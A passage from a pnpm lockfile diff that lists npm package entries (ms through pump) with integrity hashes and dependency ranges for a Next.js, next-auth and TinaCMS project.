sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==} + dev: false + + /ms@2.1.3: + resolution: {integrity: sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==} + dev: false + + /multer@1.4.5-lts.1: + resolution: {integrity: sha512-ywPWvcDMeH+z9gQq5qYHCCy+ethsk4goepZ45GLD63fOu0YcNecQxi64nDs3qluZB+murG3/D4dJ7+dGctcCQQ==} + engines: {node: '>= 6.0.0'} + dependencies: + append-field: 1.0.0 + busboy: 1.6.0 + concat-stream: 1.6.2 + mkdirp: 0.5.6 + object-assign: 4.1.1 + type-is: 1.6.18 + xtend: 4.0.2 + dev: false + + /mz@2.7.0: + resolution: {integrity: sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==} + dependencies: + any-promise: 1.3.0 + object-assign: 4.1.1 + thenify-all: 1.6.0 + dev: false + + /nanoclone@0.2.1: + resolution: {integrity: sha512-wynEP02LmIbLpcYw8uBKpcfF6dmg2vcpKqxeH5UcoKEYdExslsdUA4ugFauuaeYdTB76ez6gJW8XAZ6CgkXYxA==} + dev: false + + /nanoid@3.3.7: + resolution: {integrity: sha512-eSRppjcPIatRIMC1U6UngP8XFcz8MQWGQdt1MTBQ7NaAmvXDfvNxbvWV3x2y6CdEUciCSsDHDQZbhYaB8QEo2g==} + engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1} + hasBin: true + dev: false + + /napi-build-utils@1.0.2: + resolution: {integrity: sha512-ONmRUqK7zj7DWX0D9ADe03wbwOBZxNAfF20PlGfCWQcD3+/MakShIHrMqx9YwPTfxDdF1zLeL+RGZiR9kGMLdg==} + dev: false + + /negotiator@0.6.3: + resolution: {integrity: sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==} + engines: {node: '>= 0.6'} + dev: false + + /next-auth@4.24.5(next@14.0.3)(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-3RafV3XbfIKk6rF6GlLE4/KxjTcuMCifqrmD+98ejFq73SRoj2rmzoca8u764977lH/Q7jo6Xu6yM+Re1Mz/Og==} + peerDependencies: + next: ^12.2.5 || ^13 || ^14 + nodemailer: ^6.6.5 + react: ^17.0.2 || ^18 + react-dom: ^17.0.2 || ^18 + peerDependenciesMeta: + nodemailer: + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@panva/hkdf': 1.1.1 + cookie: 0.5.0 + jose: 4.15.4 + next: 14.0.3(@babel/core@7.23.5)(react-dom@18.2.0)(react@18.2.0) + oauth: 0.9.15 + openid-client: 5.6.1 + preact: 10.19.2 + preact-render-to-string: 5.2.6(preact@10.19.2) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + uuid: 8.3.2 + dev: false + + /next-tinacms-cloudinary@4.4.5(tinacms@1.5.28): + resolution: {integrity: sha512-zJJ3z3pC5KefkFdIFIP0HIGVBuOzC8NXlU4zSGS2jLbDgKLI0FX6lI1Lp258lOnTCBTX78TKav6FvI0Sqz4pkA==} + peerDependencies: + tinacms: 1.5.28 + dependencies: + cloudinary: 1.41.2 + multer: 1.4.5-lts.1 + tinacms: 1.5.28(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + dev: false + + /next@14.0.3(@babel/core@7.23.5)(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-AbYdRNfImBr3XGtvnwOxq8ekVCwbFTv/UJoLwmaX89nk9i051AEY4/HAWzU0YpaTDw8IofUpmuIlvzWF13jxIw==} + engines: {node: '>=18.17.0'} + hasBin: true + peerDependencies: + '@opentelemetry/api': ^1.1.0 + react: ^18.2.0 + react-dom: ^18.2.0 + sass: ^1.3.0 + peerDependenciesMeta: + '@opentelemetry/api': + optional: true + sass: + optional: true + dependencies: + '@next/env': 14.0.3 + '@swc/helpers': 0.5.2 + busboy: 1.6.0 + caniuse-lite: 1.0.30001566 + postcss: 8.4.31 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + styled-jsx: 5.1.1(@babel/core@7.23.5)(react@18.2.0) + watchpack: 2.4.0 + optionalDependencies: + '@next/swc-darwin-arm64': 14.0.3 + '@next/swc-darwin-x64': 14.0.3 + '@next/swc-linux-arm64-gnu': 14.0.3 + '@next/swc-linux-arm64-musl': 14.0.3 + '@next/swc-linux-x64-gnu': 14.0.3 + '@next/swc-linux-x64-musl': 14.0.3 + '@next/swc-win32-arm64-msvc': 14.0.3 + '@next/swc-win32-ia32-msvc': 14.0.3 + '@next/swc-win32-x64-msvc': 14.0.3 + transitivePeerDependencies: + - '@babel/core' + - babel-plugin-macros + dev: false + + /ngraminator@3.0.2: + resolution: {integrity: sha512-+9RehP0EFeNxCyD53aeSFvF3OU6V0zcoZNRCXxvISl+nnlFcIZxSYdGhPaq8NDJTGlA4Ej5+NlkGopRSuuAwfw==} + dev: false + + /no-case@3.0.4: + resolution: {integrity: sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==} + dependencies: + lower-case: 2.0.2 + tslib: 2.6.2 + dev: false + + /node-abi@3.52.0: + resolution: {integrity: sha512-JJ98b02z16ILv7859irtXn4oUaFWADtvkzy2c0IAatNVX2Mc9Yoh8z6hZInn3QwvMEYhHuQloYi+TTQy67SIdQ==} + engines: {node: '>=10'} + dependencies: + semver: 7.5.4 + dev: false + + /node-fetch@2.6.13(encoding@0.1.13): + resolution: {integrity: sha512-StxNAxh15zr77QvvkmveSQ8uCQ4+v5FkvNTj0OESmiHu+VRi/gXArXtkWMElOsOUNLtUEvI4yS+rdtOHZTwlQA==} + engines: {node: 4.x || >=6.0.0} + peerDependencies: + encoding: ^0.1.0 + peerDependenciesMeta: + encoding: + optional: true + dependencies: + encoding: 0.1.13 + whatwg-url: 5.0.0 + dev: false + + /node-fetch@2.7.0(encoding@0.1.13): + resolution: {integrity: sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==} + engines: {node: 4.x || >=6.0.0} + peerDependencies: + encoding: ^0.1.0 + peerDependenciesMeta: + encoding: + optional: true + dependencies: + encoding: 0.1.13 + whatwg-url: 5.0.0 + dev: false + + /node-int64@0.4.0: + resolution: {integrity: sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw==} + dev: false + + /node-releases@2.0.14: + resolution: {integrity: sha512-y10wOWt8yZpqXmOgRo77WaHEmhYQYGNA6y421PKsKYWEK8aW+cqAphborZDhqfyKrbZEN92CN1X2KbafY2s7Yw==} + dev: false + + /normalize-path@2.1.1: + resolution: {integrity: sha512-3pKJwH184Xo/lnH6oyP1q2pMd7HcypqqmRs91/6/i2CGtWwIKGCkOOMTm/zXbgTEWHw1uNpNi/igc3ePOYHb6w==} + engines: {node: '>=0.10.0'} + dependencies: + remove-trailing-separator: 1.1.0 + dev: false + + /normalize-path@3.0.0: + resolution: {integrity: sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==} + engines: {node: '>=0.10.0'} + dev: false + + /nullthrows@1.1.1: + resolution: {integrity: sha512-2vPPEi+Z7WqML2jZYddDIfy5Dqb0r2fze2zTxNNknZaFpVHU3mFB3R+DWeJWGVx0ecvttSGlJTI+WG+8Z4cDWw==} + dev: false + + /oauth@0.9.15: + resolution: {integrity: sha512-a5ERWK1kh38ExDEfoO6qUHJb32rd7aYmPHuyCu3Fta/cnICvYmgd2uhuKXvPD+PXB+gCEYYEaQdIRAjCOwAKNA==} + dev: false + + /object-assign@3.0.0: + resolution: {integrity: sha512-jHP15vXVGeVh1HuaA2wY6lxk+whK/x4KBG88VXeRma7CCun7iGD5qPc4eYykQ9sdQvg8jkwFKsSxHln2ybW3xQ==} + engines: {node: '>=0.10.0'} + dev: false + + /object-assign@4.1.1: + resolution: {integrity: sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==} + engines: {node: '>=0.10.0'} + dev: false + + /object-hash@2.2.0: + resolution: {integrity: sha512-gScRMn0bS5fH+IuwyIFgnh9zBdo4DV+6GhygmWM9HyNJSgS0hScp1f5vjtm7oIIOiT9trXrShAkLFSc2IqKNgw==} + engines: {node: '>= 6'} + dev: false + + /object-hash@3.0.0: + resolution: {integrity: sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==} + engines: {node: '>= 6'} + dev: false + + /object-inspect@1.12.3: + resolution: {integrity: sha512-geUvdk7c+eizMNUDkRpW1wJwgfOiOeHbxBR/hLXK1aT6zmVSO0jsQcs7fj6MGw89jC/cjGfLcNOrtMYtGqm81g==} + dev: false + + /object-inspect@1.13.1: + resolution: {integrity: sha512-5qoj1RUiKOMsCCNLV1CBiPYE10sziTsnmNxkAI/rZhiD63CF7IqdFGC/XzjWjpSgLf0LxXX3bDFIh0E18f6UhQ==} + dev: false + + /oidc-token-hash@5.0.3: + resolution: {integrity: sha512-IF4PcGgzAr6XXSff26Sk/+P4KZFJVuHAJZj3wgO3vX2bMdNVp/QXTP3P7CEm9V1IdG8lDLY3HhiqpsE/nOwpPw==} + engines: {node: ^10.13.0 || >=12.0.0} + dev: false + + /on-finished@2.4.1: + resolution: {integrity: sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==} + engines: {node: '>= 0.8'} + dependencies: + ee-first: 1.1.1 + dev: false + + /once@1.4.0: + resolution: {integrity: sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==} + dependencies: + wrappy: 1.0.2 + dev: false + + /open@8.4.2: + resolution: {integrity: sha512-7x81NCL719oNbsq/3mh+hVrAWmFuEYUqrq/Iw3kUzH8ReypT9QQ0BLoJS7/G9k6N81XjW4qHWtjWwe/9eLy1EQ==} + engines: {node: '>=12'} + dependencies: + define-lazy-prop: 2.0.0 + is-docker: 2.2.1 + is-wsl: 2.2.0 + dev: false + + /openid-client@5.6.1: + resolution: {integrity: sha512-PtrWsY+dXg6y8mtMPyL/namZSYVz8pjXz3yJiBNZsEdCnu9miHLB4ELVC85WvneMKo2Rg62Ay7NkuCpM0bgiLQ==} + dependencies: + jose: 4.15.4 + lru-cache: 6.0.0 + object-hash: 2.2.0 + oidc-token-hash: 5.0.3 + dev: false + + /p-limit@2.3.0: + resolution: {integrity: sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==} + engines: {node: '>=6'} + dependencies: + p-try: 2.2.0 + dev: false + + /p-limit@3.1.0: + resolution: {integrity: sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==} + engines: {node: '>=10'} + dependencies: + yocto-queue: 0.1.0 + dev: false + + /p-locate@4.1.0: + resolution: {integrity: sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==} + engines: {node: '>=8'} + dependencies: + p-limit: 2.3.0 + dev: false + + /p-queue@7.3.4: + resolution: {integrity: sha512-esox8CWt0j9EZECFvkFl2WNPat8LN4t7WWeXq73D9ha0V96qPRufApZi4ZhPwXAln1uVVal429HVVKPa2X0yQg==} + engines: {node: '>=12'} + dependencies: + eventemitter3: 4.0.7 + p-timeout: 5.1.0 + dev: false + + /p-timeout@5.1.0: + resolution: {integrity: sha512-auFDyzzzGZZZdHz3BtET9VEz0SE/uMEAx7uWfGPucfzEwwe/xH0iVeZibQmANYE/hp9T2+UUZT5m+BKyrDp3Ew==} + engines: {node: '>=12'} + dev: false + + /p-try@2.2.0: + resolution: {integrity: sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==} + engines: {node: '>=6'} + dev: false + + /pako@1.0.11: + resolution: {integrity: sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==} + dev: false + + /papaparse@5.4.1: + resolution: {integrity: sha512-HipMsgJkZu8br23pW15uvo6sib6wne/4woLZPlFf3rpDyMe9ywEXUsuD7+6K9PRkJlVT51j/sCOYDKGGS3ZJrw==} + dev: false + + /param-case@3.0.4: + resolution: {integrity: sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A==} + dependencies: + dot-case: 3.0.4 + tslib: 2.6.2 + dev: false + + /parent-module@1.0.1: + resolution: {integrity: sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==} + engines: {node: '>=6'} + dependencies: + callsites: 3.1.0 + dev: false + + /parse-entities@2.0.0: + resolution: {integrity: sha512-kkywGpCcRYhqQIchaWqZ875wzpS/bMKhz5HnN3p7wveJTkTtyAB/AlnS0f8DFSqYW1T82t6yEAkEcB+A1I3MbQ==} + dependencies: + character-entities: 1.2.4 + character-entities-legacy: 1.1.4 + character-reference-invalid: 1.1.4 + is-alphanumerical: 1.0.4 + is-decimal: 1.0.4 + is-hexadecimal: 1.0.4 + dev: false + + /parse-entities@4.0.1: + resolution: {integrity: sha512-SWzvYcSJh4d/SGLIOQfZ/CoNv6BTlI6YEQ7Nj82oDVnRpwe/Z/F1EMx42x3JAOwGBlCjeCH0BRJQbQ/opHL17w==} + dependencies: + '@types/unist': 2.0.10 + character-entities: 2.0.2 + character-entities-legacy: 3.0.0 + character-reference-invalid: 2.0.1 + decode-named-character-reference: 1.0.2 + is-alphanumerical: 2.0.1 + is-decimal: 2.0.1 + is-hexadecimal: 2.0.1 + dev: false + + /parse-filepath@1.0.2: + resolution: {integrity: sha512-FwdRXKCohSVeXqwtYonZTXtbGJKrn+HNyWDYVcp5yuJlesTwNH4rsmRZ+GrKAPJ5bLpRxESMeS+Rl0VCHRvB2Q==} + engines: {node: '>=0.8'} + dependencies: + is-absolute: 1.0.0 + map-cache: 0.2.2 + path-root: 0.1.1 + dev: false + + /parse-json@5.2.0: + resolution: {integrity: sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==} + engines: {node: '>=8'} + dependencies: + '@babel/code-frame': 7.23.5 + error-ex: 1.3.2 + json-parse-even-better-errors: 2.3.1 + lines-and-columns: 1.2.4 + dev: false + + /parseurl@1.3.3: + resolution: {integrity: sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==} + engines: {node: '>= 0.8'} + dev: false + + /pascal-case@3.1.2: + resolution: {integrity: sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==} + dependencies: + no-case: 3.0.4 + tslib: 2.6.2 + dev: false + + /path-case@3.0.4: + resolution: {integrity: sha512-qO4qCFjXqVTrcbPt/hQfhTQ+VhFsqNKOPtytgNKkKxSoEp3XPUQ8ObFuePylOIok5gjn69ry8XiULxCwot3Wfg==} + dependencies: + dot-case: 3.0.4 + tslib: 2.6.2 + dev: false + + /path-exists@4.0.0: + resolution: {integrity: sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==} + engines: {node: '>=8'} + dev: false + + /path-is-absolute@1.0.1: + resolution: {integrity: sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==} + engines: {node: '>=0.10.0'} + dev: false + + /path-parse@1.0.7: + resolution: {integrity: sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==} + dev: false + + /path-root-regex@0.1.2: + resolution: {integrity: sha512-4GlJ6rZDhQZFE0DPVKh0e9jmZ5egZfxTkp7bcRDuPlJXbAwhxcl2dINPUAsjLdejqaLsCeg8axcLjIbvBjN4pQ==} + engines: {node: '>=0.10.0'} + dev: false + + /path-root@0.1.1: + resolution: {integrity: sha512-QLcPegTHF11axjfojBIoDygmS2E3Lf+8+jI6wOVmNVenrKSo3mFdSGiIgdSHenczw3wPtlVMQaFVwGmM7BJdtg==} + engines: {node: '>=0.10.0'} + dependencies: + path-root-regex: 0.1.2 + dev: false + + /path-to-regexp@0.1.7: + resolution: {integrity: sha512-5DFkuoqlv1uYQKxy8omFBeJPQcdoE07Kv2sferDCrAq1ohOU+MSDswDIbnx3YAM60qIOnYa53wBhXW0EbMonrQ==} + dev: false + + /path-type@4.0.0: + resolution: {integrity: sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==} + engines: {node: '>=8'} + dev: false + + /picocolors@1.0.0: + resolution: {integrity: sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==} + dev: false + + /picomatch-browser@2.2.6: + resolution: {integrity: sha512-0ypsOQt9D4e3hziV8O4elD9uN0z/jtUEfxVRtNaAAtXIyUx9m/SzlO020i8YNL2aL/E6blOvvHQcin6HZlFy/w==} + engines: {node: '>=8.6'} + dev: false + + /picomatch@2.3.1: + resolution: {integrity: sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==} + engines: {node: '>=8.6'} + dev: false + + /pify@2.3.0: + resolution: {integrity: sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==} + engines: {node: '>=0.10.0'} + dev: false + + /pify@4.0.1: + resolution: {integrity: sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==} + engines: {node: '>=6'} + dev: false + + /pirates@4.0.6: + resolution: {integrity: sha512-saLsH7WeYYPiD25LDuLRRY/i+6HaPYr6G1OUlN39otzkSTxKnubR9RTxS3/Kk50s1g2JTgFwWQDQyplC5/SHZg==} + engines: {node: '>= 6'} + dev: false + + /popmotion@11.0.3: + resolution: {integrity: sha512-Y55FLdj3UxkR7Vl3s7Qr4e9m0onSnP8W7d/xQLsoJM40vs6UKHFdygs6SWryasTZYqugMjm3BepCF4CWXDiHgA==} + dependencies: + framesync: 6.0.1 + hey-listen: 1.0.8 + style-value-types: 5.0.0 + tslib: 2.6.2 + dev: false + + /postcss-import@15.1.0(postcss@8.4.32): + resolution: {integrity: sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==} + engines: {node: '>=14.0.0'} + peerDependencies: + postcss: ^8.0.0 + dependencies: + postcss: 8.4.32 + postcss-value-parser: 4.2.0 + read-cache: 1.0.0 + resolve: 1.22.8 + dev: false + + /postcss-js@4.0.1(postcss@8.4.32): + resolution: {integrity: sha512-dDLF8pEO191hJMtlHFPRa8xsizHaM82MLfNkUHdUtVEV3tgTp5oj+8qbEqYM57SLfc74KSbw//4SeJma2LRVIw==} + engines: {node: ^12 || ^14 || >= 16} + peerDependencies: + postcss: ^8.4.21 + dependencies: + camelcase-css: 2.0.1 + postcss: 8.4.32 + dev: false + + /postcss-load-config@4.0.2(postcss@8.4.32): + resolution: {integrity: sha512-bSVhyJGL00wMVoPUzAVAnbEoWyqRxkjv64tUl427SKnPrENtq6hJwUojroMz2VB+Q1edmi4IfrAPpami5VVgMQ==} + engines: {node: '>= 14'} + peerDependencies: + postcss: '>=8.0.9' + ts-node: '>=9.0.0' + peerDependenciesMeta: + postcss: + optional: true + ts-node: + optional: true + dependencies: + lilconfig: 3.0.0 + postcss: 8.4.32 + yaml: 2.3.4 + dev: false + + /postcss-nested@6.0.1(postcss@8.4.32): + resolution: {integrity: sha512-mEp4xPMi5bSWiMbsgoPfcP74lsWLHkQbZc3sY+jWYd65CUwXrUaTp0fmNpa01ZcETKlIgUdFN/MpS2xZtqL9dQ==} + engines: {node: '>=12.0'} + peerDependencies: + postcss: ^8.2.14 + dependencies: + postcss: 8.4.32 + postcss-selector-parser: 6.0.13 + dev: false + + /postcss-selector-parser@6.0.10: + resolution: {integrity: sha512-IQ7TZdoaqbT+LCpShg46jnZVlhWD2w6iQYAcYXfHARZ7X1t/UGhhceQDs5X0cGqKvYlHNOuv7Oa1xmb0oQuA3w==} + engines: {node: '>=4'} + dependencies: + cssesc: 3.0.0 + util-deprecate: 1.0.2 + dev: false + + /postcss-selector-parser@6.0.13: + resolution: {integrity: sha512-EaV1Gl4mUEV4ddhDnv/xtj7sxwrwxdetHdWUGnT4VJQf+4d05v6lHYZr8N573k5Z0BViss7BDhfWtKS3+sfAqQ==} + engines: {node: '>=4'} + dependencies: + cssesc: 3.0.0 + util-deprecate: 1.0.2 + dev: false + + /postcss-value-parser@4.2.0: + resolution: {integrity: sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==} + dev: false + + /postcss@8.4.31: + resolution: {integrity: sha512-PS08Iboia9mts/2ygV3eLpY5ghnUcfLV/EXTOW1E2qYxJKGGBUtNjN76FYHnMs36RmARn41bC0AZmn+rR0OVpQ==} + engines: {node: ^10 || ^12 || >=14} + dependencies: + nanoid: 3.3.7 + picocolors: 1.0.0 + source-map-js: 1.0.2 + dev: false + + /postcss@8.4.32: + resolution: {integrity: sha512-D/kj5JNu6oo2EIy+XL/26JEDTlIbB8hw85G8StOE6L74RQAVVP5rej6wxCNqyMbR4RkPfqvezVbPw81Ngd6Kcw==} + engines: {node: ^10 || ^12 || >=14} + dependencies: + nanoid: 3.3.7 + picocolors: 1.0.0 + source-map-js: 1.0.2 + dev: false + + /preact-render-to-string@5.2.6(preact@10.19.2): + resolution: {integrity: sha512-JyhErpYOvBV1hEPwIxc/fHWXPfnEGdRKxc8gFdAZ7XV4tlzyzG847XAyEZqoDnynP88akM4eaHcSOzNcLWFguw==} + peerDependencies: + preact: '>=10' + dependencies: + preact: 10.19.2 + pretty-format: 3.8.0 + dev: false + + /preact@10.19.2: + resolution: {integrity: sha512-UA9DX/OJwv6YwP9Vn7Ti/vF80XL+YA5H2l7BpCtUr3ya8LWHFzpiO5R+N7dN16ujpIxhekRFuOOF82bXX7K/lg==} + dev: false + + /prebuild-install@7.1.1: + resolution: {integrity: sha512-jAXscXWMcCK8GgCoHOfIr0ODh5ai8mj63L2nWrjuAgXE6tDyYGnx4/8o/rCgU+B4JSyZBKbeZqzhtwtC3ovxjw==} + engines: {node: '>=10'} + hasBin: true + dependencies: + detect-libc: 2.0.2 + expand-template: 2.0.3 + github-from-package: 0.0.0 + minimist: 1.2.8 + mkdirp-classic: 0.5.3 + napi-build-utils: 1.0.2 + node-abi: 3.52.0 + pump: 3.0.0 + rc: 1.2.8 + simple-get: 4.0.1 + tar-fs: 2.1.1 + tunnel-agent: 0.6.0 + dev: false + + /prettier@2.8.8: + resolution: {integrity: sha512-tdN8qQGvNjw4CHbY+XXk0JgCXn9QiF21a55rBe5LJAU+kDyC4WQn4+awm2Xfk2lQMk5fKup9XgzTZtGkjBdP9Q==} + engines: {node: '>=10.13.0'} + hasBin: true + dev: false + + /pretty-format@3.8.0: + resolution: {integrity: sha512-WuxUnVtlWL1OfZFQFuqvnvs6MiAGk9UNsBostyBOB0Is9wb5uRESevA6rnl/rkksXaGX3GzZhPup5d6Vp1nFew==} + dev: false + + /prism-react-renderer@2.3.0(react@17.0.2): + resolution: {integrity: sha512-UYRg2TkVIaI6tRVHC5OJ4/BxqPUxJkJvq/odLT/ykpt1zGYXooNperUxQcCvi87LyRnR4nCh81ceOA+e7nrydg==} + peerDependencies: + react: '>=16.0.0' + dependencies: + '@types/prismjs': 1.26.3 + clsx: 2.0.0 + react: 17.0.2 + dev: false + + /prism-react-renderer@2.3.0(react@18.2.0): + resolution: {integrity: sha512-UYRg2TkVIaI6tRVHC5OJ4/BxqPUxJkJvq/odLT/ykpt1zGYXooNperUxQcCvi87LyRnR4nCh81ceOA+e7nrydg==} + peerDependencies: + react: '>=16.0.0' + dependencies: + '@types/prismjs': 1.26.3 + clsx: 2.0.0 + react: 18.2.0 + dev: false + + /prismjs@1.29.0: + resolution: {integrity: sha512-Kx/1w86q/epKcmte75LNrEoT+lX8pBpavuAbvJWRXar7Hz8jrtF+e3vY751p0R8H9HdArwaCTNDDzHg/ScJK1Q==} + engines: {node: '>=6'} + dev: false + + /process-nextick-args@2.0.1: + resolution: {integrity: sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==} + dev: false + + /process@0.11.10: + resolution: {integrity: sha512-cdGef/drWFoydD1JsMzuFf8100nZl+GT+yacc2bEced5f9Rjk4z+WtFUTBu9PhOi9j/jfmBPu0mMEY4wIdAF8A==} + engines: {node: '>= 0.6.0'} + dev: false + + /progress@2.0.3: + resolution: {integrity: sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==} + engines: {node: '>=0.4.0'} + dev: false + + /promise@7.3.1: + resolution: {integrity: sha512-nolQXZ/4L+bP/UGlkfaIujX9BKxGwmQ9OT4mOt5yvy8iK1h3wqTEJCijzGANTCCl9nWjY41juyAn2K3Q1hLLTg==} + dependencies: + asap: 2.0.6 + dev: false + + /prompts@2.4.2: + resolution: {integrity: sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==} + engines: {node: '>= 6'} + dependencies: + kleur: 3.0.3 + sisteransi: 1.0.5 + dev: false + + /prop-types@15.7.2: + resolution: {integrity: sha512-8QQikdH7//R2vurIJSutZ1smHYTcLpRWEOlHnzcWHmBYrOGUysKwSsrC89BCiFj3CbrfJ/nXFdJepOVrY1GCHQ==} + dependencies: + loose-envify: 1.4.0 + object-assign: 4.1.1 + react-is: 16.13.1 + dev: false + + /prop-types@15.8.1: + resolution: {integrity: sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==} + dependencies: + loose-envify: 1.4.0 + object-assign: 4.1.1 + react-is: 16.13.1 + dev: false + + /property-expr@2.0.6: + resolution: {integrity: sha512-SVtmxhRE/CGkn3eZY1T6pC8Nln6Fr/lu1mKSgRud0eC73whjGfoAogbn78LkD8aFL0zz3bAFerKSnOl7NlErBA==} + dev: false + + /protocol-buffers-encodings@1.2.0: + resolution: {integrity: sha512-daeNPuKh1NlLD1uDfbLpD+xyUTc07nEtfHwmBZmt/vH0B7VOM+JOCOpDcx9ZRpqHjAiIkGqyTDi+wfGSl17R9w==} + dependencies: + b4a: 1.6.4 + signed-varint: 2.0.1 + varint: 5.0.0 + dev: false + + /proxy-addr@2.0.7: + resolution: {integrity: sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==} + engines: {node: '>= 0.10'} + dependencies: + forwarded: 0.2.0 + ipaddr.js: 1.9.1 + dev: false + + /proxy-compare@2.4.0: + resolution: {integrity: sha512-FD8KmQUQD6Mfpd0hywCOzcon/dbkFP8XBd9F1ycbKtvVsfv6TsFUKJ2eC0Iz2y+KzlkdT1Z8SY6ZSgm07zOyqg==} + dev: false + + /pump@3.0.0: + resolution: {integrity: 